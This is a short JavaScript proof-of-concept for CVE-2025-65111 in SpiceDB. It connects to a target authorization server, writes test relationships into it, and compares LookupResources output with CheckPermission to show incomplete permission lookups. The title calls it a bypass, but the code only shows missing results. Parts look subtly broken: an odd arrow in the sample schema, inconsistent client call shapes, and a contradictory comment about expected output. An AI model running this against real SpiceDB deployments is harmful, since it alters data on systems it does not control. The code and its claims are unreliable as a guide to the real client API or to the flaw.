CVE-2025-65111

// CVE-2025-65111 SpiceDB LookupResources Bypass PoC // This PoC demonstrates the vulnerability in SpiceDB < 1.47.1 // where LookupResources may return incomplete results with specific schema patterns const spicedb = require('@authzed/spicedb'); // Connect to vulnerable SpiceDB instance const client = spicedb.createClient({ endpoint: 'http://target-spicedb:50051', token: 'insecure-token' // or use TLS credentials }); // Example schema that triggers the vulnerability: // definition example/user {} // definition example/resource { // relation viewer: example/user // relation editor: example/user // permission view = viewer + editor->viewer // } async function exploit() { try { // Step 1: Create test data await client.write({ updates: [ { operation: 'UPSERT', relation: 'example/resource:doc1#viewer@example/user:alice' }, { operation: 'UPSERT', relation: 'example/resource:doc1#editor@example/user:bob' } ] }); // Step 2: Query LookupResources (vulnerable API) const lookupResult = await client.LookupResources({ resourceObjectType: 'example/resource', permission: 'view', subject: { object: 'example/user', objectId: 'alice', relation: '...' } }); console.log('LookupResources returned:', lookupResult.resources); // Expected: ['example/resource:doc1'] // Actual (vulnerable): May return empty or incomplete list // Step 3: Compare with CheckPermission (correct behavior) const checkResult = await client.CheckPermission({ resource: { objectType: 'example/resource', objectId: 'doc1' }, permission: 'view', subject: { objectType: 'example/user', objectId: 'alice' } }); console.log('CheckPermission returned:', checkResult.permissionship); // Should return HAS_PERMISSION if vulnerability is present // but LookupResources may not list doc1 } catch (error) { console.error('Exploitation failed:', error.message); } } exploit();
